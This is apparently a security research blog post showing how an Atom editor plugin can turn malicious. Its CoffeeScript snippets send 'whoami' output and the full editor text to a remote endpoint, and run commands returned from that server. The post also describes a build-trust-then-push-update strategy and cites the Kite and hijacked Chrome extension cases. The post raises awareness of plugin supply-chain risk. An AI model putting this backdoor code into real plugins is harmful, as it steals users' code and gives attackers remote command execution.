Introduction
Background
We all need some type of editor in our lives to be able to do the work that we do. But, when it comes to choosing an editor, everyone has their own views. Some prefer the modern editors like Atom or Sublime, while others are more die-hard/ old school and prefer to stick to Vim or Emacs. Whatever you chose, you’ll most likely want to customize it in some way (if not, I am not sure I can trust you as a person let alone a developer).
Other users will download new plugins to suit their needs, continuously adding to their ever growing list of them (because who has the time to go back and delete old unused plugins?) Many editors support automatic updates to ensure that any bugs are fixed and new features are enjoyed immediately.
The Goal
Step One: Get a simple package (plugin) published
- What was required and how difficult would it be (do we need our app to be vetted)?
- If you were going to create a malicious package you’d first create a useful non-malicious one that would create a large user base and then push an update that would inject the unsavory code.
- We’d need to determine if there was any form of sandboxing, what libraries we’d have access to, etc.
Hello Plugin
This was trivially simple. There are lots of guides to creating and publishing packages for Atom out there, including a detailed one on their site.
cmd + shift + p
Package Generator: Generate Package
toggle: -> console.log 'touch-type-teacher was toggled!'
git init
git add .
git commit -m "First commit"
git remote add origin
git push -u origin master
apm-beta publish minor
This was even easier seeing as the initial setup was complete:
toggle: -> console.log 'touch-type-teacher was toggled!' console.log 'update test'
git commit -a -m 'Add console logging'
git push
apm-beta publish minor
That seems like a reasonable request
Some quick digging found that it was easy to add a dependency to our package:
npm install --save request@2.73.0 apm install
request = require 'request'
toggle: ->
request 'http://my-remote-endpoint.com/run?data=test_data', (error, response, body) =>
console.log 'Data sent!'
Now that we have a way to get information out, we needed to see what kind of information we had access to.
Hi, my name is…
toggle: -> {spawn} = require 'child_process' test = spawn 'whoami' test.stdout.on 'data', (data) -> request 'http://my-remote-endpoint.com/run?data='+data.toString().trim(), (error, response, body) =>
console.log 'Output sent!'
At this point we had enough information to write it up, but we took it a little further (just for kicks).
Simon Says
Instead of hardcoding commands into our code, let’s send it commands to run dynamically! While we are at it, instead of only firing on toggling of our package, let’s fire whenever a key is pressed.
First we’ll need to hook onto the onChange event of the current editor:
module.exports = TouchTypeTeacher = touchTypeTeacherView: null modalPanel: null subscriptions: null editor: null activate: (state) -> @touchTypeTeacherView = new TouchTypeTeacherView(state.touchTypeTeacherViewState) @modalPanel = atom.workspace.addModalPanel(item: @touchTypeTeacherView.getElement(), visible: false) @editor = atom.workspace.getActiveTextEditor() @subscriptions = new CompositeDisposable @subscriptions.add atom.commands.add 'atom-workspace', 'touch-type-teacher:toggle': => @toggle() @subscriptions.add @editor.onDidChange (change) => @myChange()
Then create the myChange function that will do the dirty work:
myChange: ->
request 'http://my-remote-endpoint.com/test?data=' +@editor.getText(), (error, response, body) =>
{spawn} = require 'child_process' test = spawn body console.log 'External code to run:\n' + body test.stdout.on 'data', (data) -> console.log 'sending output' request 'http://my-remote-endpoint.com/run?data=' + data.toString().trim(), (error, response, body) =>
console.log 'output sent!'
What happens in this code snippet is a bit of overkill but it demonstrates our point. On every change in the editor we will send the text in the editor to our endpoint, which in turn returns a new command to execute. We run the command and send the output back to the endpoint.
Demo
Below is a demo of it in action. On the left you’ll see the user typing into the editor, and on the right you’ll see the logs on our remote server.
Our little plugin is not going to be doing global damage anytime soon. In fact we unpublished it once our tests were done. But what if someone changed an existing plugin which had lots of active users? Enter Kite.
Kite and friends
While we were ironing out the demo and wondering how prevalent this kind of attack was, an interesting story emerged. Kite, who make cloud-based coding tools, hired the developer of Minimap (an Atom plugin with over 3.8 million downloads) and pushed an update for it labelled “Implement Kite promotion“. This update, among other things, inserted Kite ads onto the minimap.
In conjunction with this, it was found that Kite had silently acquired autocomplete-python (another popular Atom plugin) a few months prior and had promoted the use of Kite over the open source alternative.
Once discovered, Kite was forced to apologize and take steps to ensure they would not do it again (but someone else totally could!).
Similar to the Kite takeover of Atom packages (but with more malicious intent) in the past week it has been reported that two Chrome extensions had been taken over by attackers and had adware injected into them. Web Developer for Chrome and Copyfish both fell victims to the same phishing attack. Details of the events can be read about here (Web Developer) and here (Copyfish) but the gist of it was the popular extensions for Chrome had been compromised and users of the extensions fell victim without knowing it.
Wrapping up
We created a plugin and published it without it being picked up as malicious. This plugin runs without a sandbox and without a restrictive permissions model to prevent us stealing all the information the user has access to. Even if there was some kind of code analysis conducted on uploaded code, it’s possible to remotely eval() code at runtime. Automatic updates means that even if our plugin is benign today, it could be malicious tomorrow.